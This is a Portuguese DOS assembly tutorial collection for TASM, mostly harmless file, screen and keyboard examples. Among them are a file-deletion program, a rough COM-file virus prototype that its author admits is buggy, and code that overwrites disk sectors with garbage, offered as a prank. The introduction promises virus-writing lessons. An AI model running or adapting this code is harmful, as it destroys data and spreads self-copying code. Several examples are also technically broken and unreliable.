Enquanto estamos terminando esta secao..., deixamos aqui alguns exemplos em asm, a maioria de um tutorial que fiz ha algum tempo atras, para fins didaticos. O codigo esta o mais simples possivel e comentado para ficar mais facil o entendimento (pois essa linguagem nao eh mole...ehehehhe). Futuramente colocaremos aqui codigos de virus e tentar ensina-lo a criar um (nao eh dificil, o dificil realmente eh criar algo novo!). Familiarize-se com os codigos, por enquanto, usando o compilador TASM.
;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
; ESTE EXEMPLO SOMENTE ABRE UM ARQUIVO E DEPOIS O FECHA
;
; PARA ABRIR UM ARQUIVO, USAMOS A FUNCAO 3Dh DA INT 21h
; EM DX PRECISAMOS DO NOME DO ARQUIVO
; EM AL INFORMAMOS EM QUE MODO SERA ABERTO:
; 000 == SOMENTE LEITURA
; 001 == SOMENTE ESCRITA
; 010 == LEITURA E ESCRITA
; SE NENHUM ERRO OCORRER, AX CONTERA O HANDLE DO ARQUIVO
;
;PARA FECHAR UM ARQUIVO, USAMOS A FUNCAO 3Eh DA INT 21h
;EM BX PRECISAMOS DO HANDLE DO ARQUIVO
;
; COMPILE COM TASM [nome_do_arq]
; LINKE COM TLINK -T [nome_do_arq]
;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
.MODEL TINY
.CODE
ORG 100H
START:
;----------------------------
mov ah, 1 ; espera uma tecla ser pressionada
int 21h
;±±±±± ABRE ARQUIVO
mov ah, 3dh ;funcao para abrir arquivo
mov al, 10 ;atributo em que o arquivo sera aberto
lea dx, arquivo ;nome do arquivo
int 21h
;±±±±± LE ARQUIVO
mov bx, ax
push bx
mov ax, cs
mov ds, ax
mov dx, offset buffer
mov ah, 3Fh
mov cx, 2000
int 21h
mov ah, 9
mov BYTE PTR [OFFSET BUFFER], DX
int 21h
;±±±±± FECHA ARQUIVO
pop bx ;ax contem o handle, precisamos dele em bx
mov ah, 3eh ;funcao para fechar o arquivo
int 21h
int 20h ;finaliza
;-----------------------------
mens db 'mensagem$'
arquivo db 'teste.asm$'
buffer db 0,0
END START
; Visualizador Ansi_Text
;
; DOSSEG
.MODEL SMALL
.STACK 200h
.CODE
Ideal
BufferSeg dw 0
ErrMsgOpen db "Error opening `"
FileName db "ANSI.TXT",0,8,"'$" ;8 is a delete character
;0 is required for filename
;(displays a space)
FileLength dw 0
;===- Subroutines -===
PROC DisplayFile NEAR
push ds
mov ax,cs ;SEGMENTO DE CODIGO EM AX
mov ds,ax ;PARA PASSAR PARA DS
mov ax,3d00h ;open file (ah=3dh)
mov dx,offset FileName
int 21h
jc OpenError
mov bx,ax ;move the file handle into bx
mov ds,[BufferSeg] ;COLOCAMOS O ENDERECO DE BUFFERSEG
mov dx,0 ;carregamos para [BufferSeg]:0000
mov ah,3fh ;FUNCAO DE LEITURA DE ARQUIVO
mov cx,0FFFFh ;try to read an entire segments worth
int 21h ;em cx colocamos o numero de bytes para ler
mov [cs:FileLength],ax
mov ah,3eh
int 21h ;interrupcao DOS
cld
mov si,0
mov cx,[cs:FileLength]
PrintLoop:
mov ah,2
lodsb
mov dl,al
int 21h ;escreve caracter
dec cx
jne PrintLoop
pop ds
ret
OpenError:
mov ah,9
mov dx,offset ErrMsgOpen
int 21h
pop ds
ret
ENDP DisplayFile
;===- Main Program -===
START:
;mov ax,cs
;mov ds,ax
;mov bx,ss
add bx,200h/10h ;get past the end of the file
mov [BufferSeg],bx ;armazenamos segmento de buffer
call DisplayFile
mov ax,4c00h
int 21h
;int 20h
END START
;--------------------------------------------------------------------------
; ESTE PROGRAMA APAGA UM ARQUIVO ESPECIFICADO EM DX, UTILIZANDO
; A FUNCAO 41h DA INT 21h
;
; COMPILE COM TASM [nome_do_arq]
; LINKE COM TLINK -T [nome_do_arq]
;--------------------------------------------------------------------------
.MODEL TINY
.CODE
org 100h
START:
mov ah, 41h
mov dx, offset arquivo ;ARQUIVO A SER APAGADO
int 21h
int 20h ;SAI PARA O SISTEMA
arquivo db 'a:\tlink.exe$'
END START
;fixa diretorio corrente
.model small
.code
org 100h
inicio:
mov ah, 3Bh
lea dx, diretorio
int 21h
mov ah, 4Ch
int 21h
diretorio db "c:\windows"
end inicio
;escrevendo pixel
.model tiny
.code
org 100h
inicio:
mov ah, 00h ;funcao modo de video
mov al, 13h ;320colunasX200linhas
int 10h
mov cx, 64h ;repete 100x
mov dx, 05h ;linha 5
mov al, 00h ;cor 0
color:
push cx ;salva cx, pois vamos modifica-lo
mov ah, 0Ch ;funcao 'escreve pixel'
mov bh, 00h ;numero da pagina
mov cx, 32h ;coluna 50
int 10h ;executa
mov cx, 34h ;coluna 52
int 10h
mov cx, 36h ;coluna 54
int 10h
mov cx, 38h ;coluna 56
int 10h
mov cx, 3Ah ;coluna 58
int 10h
mov cx, 3Ch ;coluna 60
int 10h
mov cx, 3Eh ;coluna 62
int 10h
call delay ;chama a funcao delay
pop cx ;restaura cx
inc dx ;incrementa dx, pulando uma linha
inc dx
inc al ;incrementa al, para obter outra cor
loop color ;faz loop ate cx = 0
mov ah, 09h
mov al, 'A'
mov bh, 00h
mov bl, 09h
mov cx, 05h
int 10h
mov ah, 01h ;funcao para esperar uma tecla ser pressionada
int 21h ;
mov ah, 00h ;funcao modo de video
mov al, 03h ;modo de video
int 10h
mov ah, 4Ch
int 21h
delay:
mov ah, 86h ;funcao delay
mov cx, 01h ;microssegundos
int 15h
ret
mens db "Texto$"
end inicio
;Basicamente um virus, mas ha erros demais aki
;tente entender o codigo e na proxima edicaum de
;minha zine explicarei os erros cometidos.
;Ateh breve...
; ¤¤¤¤KØÐÐÆR¤¤¤¤
.MODEL TINY
.CODE
ORG 100H
INICIO:
jmp codigo_inicial
nop
nop
codigo_inicial:
mov ah, 3Ch ;cria arquivo
mov cx, 00h ;atributo do arquivo
lea dx, novo_arq ;nome do novo arquivo
int 21h
mov bx, ax ;move o handle para bx
mov cx, 3 ;copia apenas 3 bytes
mov dx, 100h ;aponta para o offset do arquivo
mov ah, 40h ;escreve
int 21h
mov ah, 3Eh ;fecha o arquivo
int 21h
mov ah, 3Dh ;abre arquivo
mov al, 02h ;modo de acesso
lea dx, vitima_arq ;abre a vitima
int 21h
mov bx, ax ;passa o handle para bx
mov ah, 3Fh ;le cx bytes do arquivo
mov cx, 28
lea dx, buffer_arq ;buffer para os dados lidos
int 21h
mov ah, 3Eh ;fecha arquivo
int 21h
mov ah, 3Dh ;abre novamente o arquivo criado
mov al, 02h ;modo de acesso
lea dx, novo_arq
int 21h
db 0E9h
mov bx, ax ;passa o handle para bx
mov ah, 42h ;fixa posicao no arquivo
mov al, 02h ;aponta para o final
xor cx, cx
xor dx, dx
int 21h
mov ah, 40h ;escrita
mov cx, 28 ;quantos bytes a serem escritos
lea dx, buffer_arq ;onde esta o dado a ser escrito
int 21h
mov ah, 40h
mov cx, 189
mov dx, 100h
int 21h
mov ah, 3Eh
int 21h
mov ah, 9
lea dx, mens
int 21h
mov ax, 4C00h
int 21h
mens db "mensagem teste...$"
novo_arq db "arq1.com",0
vitima_arq db "arq2.com",0
buffer_arq db 28 dup (?)
end inicio
;-----------------------------------------------------------------------
; ESTE PROGRAMA CRIA UM ARQUIVO UTILIZANDO A FUNCAO 3Ch,
; ONDE DX = nome_do_arquivo
; CX = atributo_do_arq
; APOS ISSO, ESCREVEMOS NESTE ARQUIVO, COM A FUNCAO 40h,
; NOTE QUE O HANDLE DO ARQUIVO, QUANDO CRIADO, FICARA
; AUTOMATICAMENTE EM AX...
; ENTAO, QUANDO ESCREVERMOS NESTE ARQUIVO, PRECISAREMOS
; DESTE HANDLE EM BX, POIS SE NAO INFORMARMOS O HANDLE,
; OS BYTES A GRAVAR SERAO DIRECIONADOS PARA A TELA,
; E O ARQUIVO SERA GRAVADO COM ZERO BYTES
; CX = NUMERO DE BYTES A GRAVAR
; DX = BYTES A GRAVAR
;_________________________________________________________________________
.MODEL TINY
.CODE
org 100h
START:
mov ah, 3ch ;FUNCAO PARA CRIAR ARQUIVO
mov dx, offset meu_arq ;NOME DO ARQUIVO
mov cx, 2 ;ATRIBUTO DO ARQUIVO:
int 21h ; 1 = READ ONLY
; 2 = HIDDEN
; 4 = SYSTEM
mov bx, ax ;AX CONTEM HANDLE DO ARQUIVO
mov ah, 40h ;FUNCAO PARA ESCREVER EM ARQUIVO
mov cx, 25 ;QUANTOS BYTES VAI GRAVAR?
mov dx, offset teste ;BYTES A GRAVAR
int 21h
; -------- MUDAR O ATRIBUTO DO ARQUIVO -------------------
; mov dx, offset meu_arq ;OBTEM O ARQUIVO
; mov cx, 1 ;SETA O ATRIBUTO
; mov ax, 4301h ;FUNCAO PARA MUDAR O ATRIBUTO
; int 21h
; ----------------------------------------------------------
int 20h ;SAI PARA O SISTEMA
meu_arq db 'criarq.txt',0
teste db 'testando isso, meu amigo',0
END START
;OBTEM A DATA DA BIOS
.model tiny
.code
org 100h
inicio:
mov ax, 0F000h
mov ds, ax
;mov di, 0FFF7h -|----->Naum foi necessario
;cmp [di], '/' -|--> naum funcionou
;jz godata _|
call godata ;|---> entaum coloquei isto
fim:
mov ah, 4Ch
int 21h
godata:
mov cx, 8 ;8 caracteres da data (mm/dd/aa)
mov di, 0FFF5h ;data contida neste segmento (FFFFh)
mov ax, 560 ;memoria de video para mostrar a data
mov si, ax
mov ax, 0B800h ;memoria de video
mov es, ax
gotdat:
mov al, [di]
inc di
mov ah, 15 ;cor branca no caracter
mov es:[si], al ;passa a data em al para o video
add si, 2
loop gotdat
jmp fim
end inicio
;±±±±±±±±±±
; ESTE PROGRAMA USA A FUNCAO 19h DA INT 21h
; PARA DETERMINAR QUAL O DRIVE CORRENTE,
; MOSTRANDO UMA PEQUENA MENSAGEM
;
; USE TASM [nome_do_arq]
; TLINK -T [nome_do_arq]
;
;±±±±±±±±±±
.MODEL TINY
.CODE
ORG 100H
START:
;----------------------------
mov ah, 19h ;FUNCAO PARA OBTER O DRIVE CORRENTE
int 21h
cmp al, 00h ;SE AL = 00 --DRIVE A; 01 -- DRIVE B; ....
jz mensagA ;PULA PARA mensagA
cmp al, 02h ;SE AL =02 (DRIVE C)
jz mensagC ;PULA PARA mensagC
int 20h ;FINALIZA
mensagA:
mov ah, 9 ;FUNCAO PARA ESCRITA EM STDOUT
lea dx, mensA ;
int 21h ;
ret ;RETORNA DE ONDE FOI CHAMADO
mensagC:
mov ah, 9
lea dx, mensC
int 21h
ret
mensA db 'Este ‚ o Drive A$'
mensC db 'Este ‚ o Drive C$'
END START
;-------------------------------------------------------------------------
; COMPILE COM TASM [nome_do_programa]
; E LINK COM TLINK -T [nome_do_programa]
;
; ESTE PROGRAMA NADA MAIS FAZ DO QUE MOSTRAR
; MEU NICK NA TELA, USANDO A FUNCAO 2 DA INT21H
;-------------------------------------------------------------------------
.model tiny
.code
org 100h ; ONDE COMECA OS .COM
start: ; ONDE INICIA O PROGRAMA
mov dl, 'k' ; QUANDO USAMOS A FUNC 2
call writ ; DA INT 21h, ELA COLOCA
mov dl, 157 ; O VALOR ARMAZENADO EM DL
call writ ; NA TELA....
mov dl, 209 ; POR ISSO COLOCAMOS O VALOR
call writ ; EM DL E CHAMAMOS WRIT, QUE EH
mov dl, 209 ; A ROTINA DE ESCRITA
call writ ;
mov dl, 146 ; ASSIM NAO E PRECISO ESCREVER
call writ ; VARIAS VEZES A MESMA CHAMADA
mov dl, 'r' ; A FUNCAO 2
call writ
mov dl, 10 ; ESTE E O CODIGO LINEFEED
call writ ; OU SEJA, PULO DE LINHA
mov dl, 10
call writ
int 20h ; FUNCAO DE SAIDA PARA O DOS
; SENAO O PROGRAMA TRAVA
writ:
mov ah, 2
int 21h
ret ; RET EH PARA RETORNAR AO PONTO DE
; ONDE FOI CHAMADA A FUNCAO
end start ; NAO COLOQUE APENAS END,
; VC PRECISA FINALIZAR A ROTINA START...
;----------------------------------------------------------------------
; ESTE PROGRAMA APENAS ESPERA UMA TECLA SER PRESSIONADA
; E RETORNA AO SISTEMA
;
; COMPILE COM TASM [nome_do_arq]
; LINKE COM TLINK -T [nome_do_arq]
;----------------------------------------------------------------------
.MODEL TINY
.CODE
org 100h
START:
xor ah, ah
int 16h
int 20h
END START
;-------------------------------------------------------------------------
; COMPILE COM TASM [nome_do_arq]
; LINKE COM TLINK -T [nome_do_arq]
;
; ESTE PEQUENO PROGRAMA APENAS MOSTRA ALGUMAS MENSAGENS
; NA TELA, UTILIZANDO A FUNCAO 9 DA INT21h
;-------------------------------------------------------------------------
.model tiny
.code
org 100h
start:
mov ah, 9 ;PARA ESCREVER UMA CADEIA
mov dx, offset mensagem ;DE CARACTERES, UTILIZAMOS
int 21h ;A FUNCAO 9, QUE DEVE ESTAR
;EM AH QUANDO A INT 21h FOR
;ACIONADA....
;EM DX DEVE TER O ENDERECO DA
;CADEIA (o offset)
int 20h ;SAI PARA O DOS
mensagem db 'ALO, MUNDO....',10,13 ;CONTINUA LENDO ATEH
db 'HELLO, WORLD..',10,13 ;ENCONTRAR O '$'
db '..............',10,13
db '$'
end start ;FINALIZA START E O PROGM
;-------------------------------------------------------------------------
; CUIDADO! ESTE PROGRAMA PODE SER PERIGOSO!
; ESTE PROGRAMA ESCREVE NO DISCO ESPECIFICADO
; EM AL (0=A; 1=B; 2=C; ETC...), USANDO A INT 26h
; EM CX ESPECIFIQUE O NUMERO DE SETORES
; SETEI PARA O DRIVE A, COLOQUE UM DISCO E VEJA DEPOIS...EHHEHE...
; COMPILE COM TASM [nome_do_arq]
; LINKE COM TLINK -T [nome_do_arq]
;-------------------------------------------------------------------------
.model tiny
.code
org 100h
start:
mov al , 0 ;DRIVE A = 0
mov cx , 30 ;ESCREVER LIXO EM 30 SETORES DO DISCO
cwd ;LIMPA DX, PARA INICIAR NO SETOR 0
int 26h ;INTERRUPCAO DE ESCRITA ABSOLUTA DO DOS
int 20h ;VOLTA AO SISTEMA
end start
;tela em azul
.MODEL TINY
.CODE
ORG 100H
INICIO:
;pusha ;salva todos os registradores
mov ax, 0B800h ;end memoria de video
mov es, ax
mov cx, 2000
mov ah, 15 ;texto branco em fundo azul(31)
mov al, 20h ;codigo do espa‡o
mov di, 0 ;topo do video
cont:
mov es:[di], ax
add di, 2 ;proxima localizacao do video
;cada linha/coluna ocupam 2 bytes
loop cont
;popa ;restaura todos os registradores
int 20h
END INICIO
;cria subdiretorio
.model small
.code
org 100h
inicio:
mov ah, 39h
lea dx, nome
int 21h
mov ah, 4Ch
int 21h
nome db "a:\novodir"
end inicio
; TRA€A LINHAS COLORIDAS
; APENAS PARA FINS DIDATICOS, O FONTE EH O
; MAIS SIMPLES POSSIVEL
; ESCOLHA A COR ATRAVES DO TECLADO NUMERICO
; POR køððær
.model small
.code
corz db 2 dup(0)
inicio:
mov al, 13h
call modo_video
xor cx, cx ;limpa cx e dx para comecar na
xor dx, dx ;posicao 0x0 da tela
mov corz, 03h ;inicia com a cor 03h
repet:
mov ah, 00h ;obtem tecla pressionada
int 16h
cmp ah, 48h ;up arrow
jz up_arrow
cmp ah, 50h ;down arrow
jz down_arrow
cmp ah, 4Bh ;left arrow
jz left_arrow
cmp ah, 4Dh ;right arrow
jz right_arrow
cmp al, 1Bh ;se al=1Bh (esc) , sai...
jz saida
cmp ah, 02h ;tecla 1
jz cor_cinza
cmp ah, 03h ;tecla 2
jz cor_lilas
cmp ah, 04h ;tecla 3
jz cor_90
cmp ah, 05h ;tecla 4
jz cor_1
cmp ah, 06h ;tecla 5
jz cor_2
cmp ah, 07h ;tecla 6
jz cor_3
cmp ah, 08h ;tecla 7
jz cor_4
call repet ;faz um loop ateh ESC for pressionado
saida:
mov al, 03h ;restaura modo texto
call modo_video
mov ah, 4Ch
int 21h
modo_video:
mov ah, 00h
int 10h
ret
up_arrow:
dec dx ;dx = coluna
call verifica ;vamos verificar se existe linha tracada
down_arrow:
inc dx ;
call verifica
left_arrow:
dec cx ;cx = linha
call verifica
right_arrow:
inc cx ;
call verifica
escreve:
;push ax ;salva ax
mov ah, 0Ch ;funcao
mov bh, 00h ;pagina
int 10h
;pop ax ;restaura ax
call repet
verifica:
mov ah, 0Dh ;read pixel
mov bh, 00h ;pagina
int 10h
cmp al, 00h ;compara se nao ha linha tracada(00h = preto)
push ax ;salva ax para ser usado na 'outra_cor'
jz cor
jnz outra_cor
cor:
pop ax
mov al, corz
call escreve
outra_cor:
pop ax ;restaura ax, pois al possui o valor da cor
add al, 09h ;adiciona o valor 09h para gerar outra cor
call escreve
cor_cinza:
mov corz, 08h
call repet
cor_lilas:
mov corz, 09h
call repet
cor_90:
mov corz, 90h
call repet
cor_1:
mov corz, 27h
call repet
cor_2:
mov corz, 40h
call repet
cor_3:
mov corz, 50h
call repet
cor_4:
mov corz, 60h
call repet
end inicio
;CHAMANDO PROGRAMA COM PARAMETROS
;EXEMPLO SIMPLES, PARTE 30 -- køððær
.MODEL TINY
.CODE
ORG 100H
INICIO:
mov al, es:[80h] ;obtem o tamanho do parametro
cmp al, 0 ;ha um parametro
je ALLDONE ;se naum, entao sai
call XFER
mov al, Workdir1
cmp al, 0
je ALLDONE
mov al, Workdir2
cmp al, 0
je ALLDONE
ALLDONE:
mov ah, 9
lea dx, Workdir1
int 21h
mov ah, 9
lea dx, Workdir2
int 21h
mov ax, 4C00h
int 21h
XFER:
mov si, 80h ;ponteiro para o inicio do comando
mov ch, 0
mov cl, [si] ;tamanho do parametro
inc si ;aponta para o primeiro caracter
mov di, OFFSET es:Workdir1
X1:
lodsb
cmp al, ' ' ;eh um espaco?
jne X2 ;naum
loop X1
jcxz XDONE
X2:
dec si
X3:
lodsb
cmp al, ' '
jne X4
dec si
mov di, OFFSET es:Workdir2
jmp X1
X4:
stosb
loop X3
XDONE:
ret
call ALLDONE
Workdir1 db 129 dup(0),'$'
Workdir2 db 129 dup(0),'$'
END INICIO
;PISCA-PISCA
.model tiny
.code
org 100h
inicio:
mov cx, 2000h ;esconde cursor
call cursor
mov cx, 0Ah ;numero requerido pelo loop
vai_volta:
push cx ;salva cx, pois delay vai modifica-lo
lea dx, mens_on ;mostra mensagem
call display_ ;chama display
call delay ;chama delay
lea dx, mens_off ;oculta mensagem
call display_
call delay
pop cx ;restaura cx
loop vai_volta
mov cx, 0607h ;restaura cursor
call cursor
mov ah, 4Ch
int 21h
display_:
mov ah, 9h ;
int 21h
ret
delay:
mov ah, 86h ;delay
mov cx, 4 ;microsegundos para o delay
int 15h
ret
cursor:
mov ah, 01h
int 10h
ret
mens_on db "Tutorial --parte 25-- køððær", 13, "$"
mens_off db 50 dup(), 13, "$"
end inicio
;ESTE EXEMPLO INCLINA O TEXTO NO DOS
;TUTORIAL -- PARTE 36 -- køððær
;EXECUTE E DE UM DIR...EHEHEHEHE
.model small
.code
org 100h
inicio:
mov ax, 0040h
mov es, ax
mov di, 004Ah
mov al, 51h
stosb
int 20h
end inicio
.model small
.code
org 100h
inicio:
mov ah, 86h ;espera um determinado tempo
mov cx, 10 ;em microsegundos em cx:dx
int 15h ;
mov ah, 4Ch
int 21h
end inicio
;ESCREVEREMOS A TECLA PRESSIONADA
;COM A COR E POSICAO DESEJADA
;køððær
.model tiny
.code
org 100h
inicio:
mov ax, 0B800h ;endereco da memoria de video
mov es, ax ;
mov ah, 0 ;obtem caracter
int 16h
mov di, 0002 ;numero da linha/coluna em di
mov ah, 15 ;cor do caracter
mov es:[di], ax ;al = caracter --ah = cor
int 20h
end inicio